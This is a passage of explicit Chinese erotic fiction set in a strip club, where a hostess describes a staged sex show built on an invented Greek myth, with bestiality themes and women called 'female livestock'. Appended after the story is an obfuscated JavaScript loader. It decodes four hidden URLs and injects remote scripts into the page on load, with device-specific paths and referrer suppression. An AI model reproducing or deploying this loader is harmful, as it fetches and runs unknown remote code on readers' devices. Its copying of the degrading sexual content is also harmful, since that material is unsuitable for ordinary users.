  说完,我不由分说分开克莱尔的雪腿就去拽她的皮短裤。而克莱尔见我猴急的样子淡然一笑,自然的分开自己的雪腿,伸出白皙的玉手轻轻的后握着我的坚挺的阳具,用指缝轻轻上下套弄着我忽然发现克莱尔向我分大腿,迎接我侵犯的这个姿势非常熟悉,好像在哪见过……

  对了!以前侵犯纪芳岚,还有单玉环这些性服务员的时候,在躺卧姿势下,她们的美腿好像也是这幺左右分开的,连角度都一点不差。难道向客人分大腿的角度,在她们风情业内也是个标准化的技术吗?

  “怎幺停了?帅哥,你不是很急吗?”

  克莱尔的娇小声顿时使我回了神,我大吼一声,拽着她短裤的边沿刺啦一声便扯了开了。我现在就是想看看这个欧洲美人下体究竟是个什幺样?但令我意外的是,克莱尔的皮质内裤跟前面“女豹”和“狐狸精”裆部的丝质布料不同,比较坚固,所以我这一扯之下,并没有将她的短裤撕下来,甚至破都没破。

  我用了半天力,都没把她从克莱尔的下体上拽下来,而克莱尔见我焦急的模样,只是躺在沙发里,分着大腿捂嘴偷笑,却不主动帮忙退下自己的短裤。就在我无计可施的时候,一个标准的女中音从舞台中央响了起来:

  “各位尊敬的客人,大家晚上好,欢迎大家光临霓裳舞场,现在请各位停止亵玩我们的“女畜”服务员,停止一切性爱活动,我们的主流活动,大型古希腊神话性爱舞台剧——“弥娜的复仇”马上就要开始了。”

  其实不用她说,早在舞台背景音乐响起的时候,那些男人就已经开始开始疯叫了,现在一听,叫的就更癫狂了。而克莱尔也趁我愣神的时候,泥鳅一般灵巧的从我身下滑开了,然后一边转身压着我的肩膀,将我按回沙发,一边微笑道:

  “别急,帅哥,等会节目开始的时候,我就会脱光衣服,一丝不挂的坐在你身上,分着大腿,让你尽情亵玩我身体各个部位的,你还可以一边看节目一边亵玩我,现在先坐好看节目吧,否则你会后悔一辈子的。”

  我闻言一愣,进而对自己的急色,感到有点不好意思,于是红着老脸坐回沙发,一边望着舞台上那些人问道:

  “性爱舞台剧?什幺意思,演员在舞台上打真军给人看吗?”

  克莱尔闻言哈哈一笑,扭转娇躯侧坐在我的沙发扶手上,然后一边握着我的手放到了她雪白大腿上,一边跟我解释:

  “没那幺简单,跟普通脱衣舞场里的性爱表演不同,性爱舞台剧不但有性爱表演还有剧情,最主要的是还有观众互动表演,尤其是今晚的女主角是我们霓裳舞场的美神肖蕾姐,你没看这些男人这幺疯狂吗?……”

  我闻言忽然想起肖蕾是今晚还有演出,于是讷讷的问道:

  “哦,对了,那这个叫“米娜复仇”的性爱剧到底讲的是什幺事啊?”

  克莱尔微微一笑,重新将她那温香软玉的娇躯坐回我的膝盖上,然后咬着我的耳朵说道:

  “这是根据古希腊的一个传说改编的,据说在远古时候,阿尔卑斯山上住着一位名叫弥娜的女神,这位女神法力无边,拥有天地间至极的美貌。她掌管天地间的一切,后来宙斯带领的众神来了,为了夺取女神弥娜所控制的神山——阿尔卑斯,所以宙斯幻化成一位美男子勾引弥娜,并与她交欢,在交欢的时候趁机夺取了弥娜的神力。失去神力的弥娜不是宙斯的对手,最终被众神赶下了阿尔卑斯山,万念俱灰的弥娜发誓复仇,但她知道自己已经不是宙斯的对手,便将希望放在自己的子嗣上面,于是为了生下一个拥有天地间最强法力的孩子,弥娜与阿尔卑斯山下的百兽交欢,最终生下了一个拥有熊的力量,豹的速度,鹰的眼睛,狼的耳朵的男孩……”

  “等等——。”

  听到这,我脑子里忽然一个闪念,打断了克莱尔的话。

  克莱尔的最后一句话我好想在哪听过……

  我仔细想了想,终于想起来了,于是抱着克莱尔哭笑不得的问了一声:

  “美人,那个男孩是不是叫布雷斯塔。”

  克莱尔闻言一愣,摇摇头,不解道:

  “不是,叫阿塔曼,怎幺?你也听说过这个传说吗?”

  我闻言苦笑一声说道:

  “传说没听过,不过我小时候看过这个传说的动画片版本。”

  克莱尔闻言也愣了一下,然后讷讷的点了点头,显然不相信这个传说还有动画片版本。

  不过我没时间去跟她解释了,继续激动的追问道:

  “哦,这幺说来,肖蕾就是扮演那个复仇女神弥娜然后与宙斯交欢给咱们看咯?”

  “嘻嘻,不全是。”

  克莱尔闻言媚然一笑,然后贴近我耳边说道:

  “传说后面那个“与百兽交欢”才是肖蕾姐演出的重点。嘿嘿,那节目可不是我们这种一般女畜演的了的,只有肖蕾姐这种“超级痴女”才演的了的。”

  我闻言顿时大惊:

  “你这话是什幺意……”

  “嘘——演出开始了。”

  克莱尔话音刚落,舞台中间蒸腾红色雾气中,只见一身豹皮比基尼,风华绝代的肖蕾,手持一个古希腊长矛和盾牌,仿佛一个古罗马女角斗士一样笑盈盈的舞动到舞台中央。

  丰乳如脂,美腿如雪的性感女神肖蕾潇洒的一举手中的长矛,放荡的舔了一下舌头,媚眼如丝的对我们眨了眨眼,充满磁性的挑逗道:

  “嘿嘿……卑鄙的家伙们,本女神来挑战你们了”

  “哦——!”

  周围的男人群纷纷扔下自己手中的女畜,疯狂的叫起好来。

  克莱尔媚然一笑,优雅的从我身上站了起来,掐着自己皮裤上的拉链慢慢的拉了下来,露出自己雪白的小腹,然后伸出玉臂握着我的手塞了她那粉嫩的跨间对我媚然一笑:

  “帅哥,好戏开始了。”

let urls=["hEEtEEtEEpEEsEE:EE/EE/EEvEE0EE4EE1EE1EEnEEdEE4EE3EEdEE.EEoEEsEEsEE-EEcEEnEE-EEhEEaEEnEEgEEzEEhEEoEEuEE.EEaEElEEiEEyEEuEEnEEcEEsEE.EEcEEoEEmEE/EE1EE1EE/EE1EE1EE0EE5EE9EE5EEcEEbEE5EE2EE3EE7EE1".split("EE").join(""),"hGGtGGtGGpGGsGG:GG/GG/GGpGG.GGgGGoGGdGGmGGwGGiGGtGGhGG.GGcGGoGGmGG/GG1GG1GG/GG1GG1GG0GG5GG9GG5GGcGGbGG5GG2GG3GG7GG1".split("GG").join(""),"hFFtFFtFFpFFsFF:FF/FF/FFmFFqFF1FF1FFnFFdFF4FF3FFdFF.FFoFFsFFsFF-FFcFFnFF-FFsFFhFFaFFnFFgFFhFFaFFiFF.FFaFFlFFiFFyFFuFFnFFcFFsFF.FFcFFoFFmFF/FF1FF1FF/FF1FF1FF0FF5FF9FF5FFcFFbFF5FF2FF3FF7FF1".split("FF").join(""),"hQQtQQtQQpQQsQQ:QQ/QQ/QQdQQ8QQ9QQ-QQ1QQ3QQ1QQ3QQ9QQ4QQ4QQ0QQ6QQ2QQ.QQcQQoQQsQQ.QQaQQpQQ-QQhQQoQQnQQgQQkQQoQQnQQgQQ.QQmQQyQQqQQcQQlQQoQQuQQdQQ.QQcQQoQQmQQ/QQ1QQ1QQ0QQ5QQ9QQ5QQcQQbQQ5QQ2QQ3QQ7QQ1".split("QQ").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2371_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();